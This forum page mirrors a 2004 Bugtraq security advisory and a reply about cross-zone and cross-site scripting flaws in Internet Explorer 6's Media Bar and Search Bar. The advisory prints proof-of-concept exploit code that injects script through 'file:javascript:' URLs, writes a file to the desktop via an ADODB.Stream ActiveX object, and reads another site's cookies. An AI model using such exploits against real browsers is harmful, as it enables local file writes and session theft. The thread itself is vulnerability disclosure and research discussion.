Likes Likes:  0
Resultaten 1 tot 2 van de 2
Geen
  1. #1
    Cheng Peng Su
    New Internet Explorer Cross Zone/Site Scripting Vulnerability
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    New Internet Explorer Cross Zone/Site Scripting Vulnerability




    ################################################## #######################

    Advisory Name : Internet Explorer Cross Zone/Site Scripting Vulnerability
    Release Date : Mar 3,2004
    Application : Microsoft Internet Explorer
    Tested On : MS-IE 6.0(sp1)
    Vendor URL : http://www.microsoft.com/ie
    Author : Cheng Peng Su(apple_soup_at_msn.com)

    ################################################## #######################


    [Proof of Concept]
    The code below is used for loading a URL into the HTML content area of the Media Bar
    window.open("http://www.google.com/","_media")
    And javascript also can be injected:
    window.open("javascript:alert(location.href)","_me dia")
    in my computer,the code above will show me a MsgBox says
    'res://C:\WINDOWS\SYSTEM\BROWSELC.DLL/mbLoading.htm'
    it suggests you that it's executed in My Computer Zone.
    We can also inject a code to the Media Bar which has connected to a website.
    As Media Bar ,Search Bar has the same vuln.

    [Exploit]
    !YOU CAN FIND THE DOCUMENT AT
    !http://www.freewebs.com/applesoup/CrossBar/document.txt

    The code will use 'file:javascript:[script]' vuln which posted months ago.Maybe Microsoft
    has noticed the leak here,so i can't only use javascript-protocol in the code, and script-tag
    is filtered out ,so i have to inject the script into img-tag.

    I. In Media Bar
    1 . Cross Zone Scripting Exploit
    ---------------------------CrossZone.htm---------------------------
    <script>

    // '\\42' -> '\42' -> ' " '
    img_src='javascript:file = \\42Exploit.txt\\42; o = new ActiveXObject(\\42ADODB.Stream\\42);'
    + ' o.Open(); o.Type=2; o.Charset=\\42ascii\\42; o.WriteText(\\42My name is Cheng Peng Su.\\42);'
    + ' o.SaveToFile(file, 2); o.Close(); alert(\\42I wanna create \\42+file+\\42 on your desktop!\\42);';

    inject_html="<img src='" + img_src + "'>";

    window.open('file:javascript:document.write("' + inject_html + '")','_media');

    &lt;/script&gt;
    -------------------------------End---------------------------------


    2 . Cross Site Scripting Exploit
    ---------------------------CrossSite.htm---------------------------
    &lt;script&gt;

    window.open("http://www.google.com/","_media")
    setTimeout(function(){
    window.open("file:javascript:alert(document.cookie );","_media")
    },5000);

    &lt;/script&gt;
    -------------------------------End---------------------------------




    II. In Search Bar
    1 . Cross Zone Scripting Exploit
    ---------------------------CrossZone.htm---------------------------
    &lt;script&gt;
    window.open("http://wrong_site_add/","_search") //To load "Friendly HTTP error messages" page
    // cause it's in My Computer Zone.
    setTimeout(function(){

    // '\\42' -> '\42' -> ' " '
    img_src='javascript:file = \\42Exploit.txt\\42; o = new ActiveXObject(\\42ADODB.Stream\\42);'
    + ' o.Open(); o.Type=2; o.Charset=\\42ascii\\42; o.WriteText(\\42My name is Cheng Peng Su.\\42);'
    + ' o.SaveToFile(file, 2); o.Close(); alert(\\42I wanna create \\42+file+\\42 on your desktop!\\42);';

    inject_html="<img src='" + img_src + "'>";

    window.open('file:javascript:document.write("' + inject_html + '")','_search');

    },5000);

    &lt;/script&gt;
    -------------------------------End---------------------------------


    2 . Cross Site Scripting Exploit
    ---------------------------CrossSite.htm---------------------------
    &lt;script&gt;

    window.open("http://www.google.com/","_search")
    setTimeout(function(){
    window.open("file:javascript:alert(document.cookie );","_search")
    },5000);

    &lt;/script&gt;
    -------------------------------End---------------------------------

    [Demo]
    Harmless demo:
    http://www.freewebs.com/applesoup/Cr...rossSiteMB.htm
    http://www.freewebs.com/applesoup/Cr...rossZoneMB.htm
    http://www.freewebs.com/applesoup/Cr...rossSiteSB.htm
    http://www.freewebs.com/applesoup/Cr...rossZoneSB.htm

    [Contact]
    Cheng Peng Su
    Class 1,Senior 2,high school attached to Wuhan University
    Wuhan,Hubei,China(430072)
    apple_soup_at_msn.com


  2. #2
    Thor Larholm
    New Internet Explorer Cross Zone/Site Scripting Vulnerability
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    RE: New Internet Explorer Cross Zone/Site Scripting Vulnerability

    This is not a new vulnerability but was covered on Bugtraq in September
    by jelmer and Liu Die Yu.

    Jelmer highlighted the Media Bar Ressource Injection vulnerability in
    his exploit published on September 11, 2003 at

    http://securityfocus.com/archive/1/337285

    Which followed Liu Die Yus post on September 10 about a Search Pane
    Injection vulnerability at

    http://www.securityfocus.com/archive/1/336931

    However, both failed to elaborate that the _media and _search injections
    are possible through not only the FILE protocol but also the HTTP
    protocol. Your proof-of-concept is a good demonstration on how to extend
    these 2 related vulnerabilities to also cover arbitrary webpages such as
    Google or Passport.=20


    Regards

    Thor Larholm
    Senior Security Researcher
    PivX Solutions
    24 Corporate Plaza #180
    Newport Beach, CA 92660
    http://www.pivx.com
    thor@pivx.com
    Phone: +1 (949) 231-8496
    PGP: 0x5A276569
    6BB1 B77F CB62 0D3D 5A82 C65D E1A4 157C 5A27 6569

    PivX defines "Proactive Threat Mitigation". Get a FREE Beta Version of
    Qwik-Fix
    <http://www.qwik-fix.net>=20

    -----Original Message-----
    From: Cheng Peng Su [mailto:apple_soup@msn.com]=20
    Sent: Wednesday, March 03, 2004 4:47 AM
    To: bugtraq@securityfocus.com
    Subject: New Internet Explorer Cross Zone/Site Scripting Vulnerability



    Snip
    http://www.securityfocus.com/archive...9/2004-03-06/0

Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics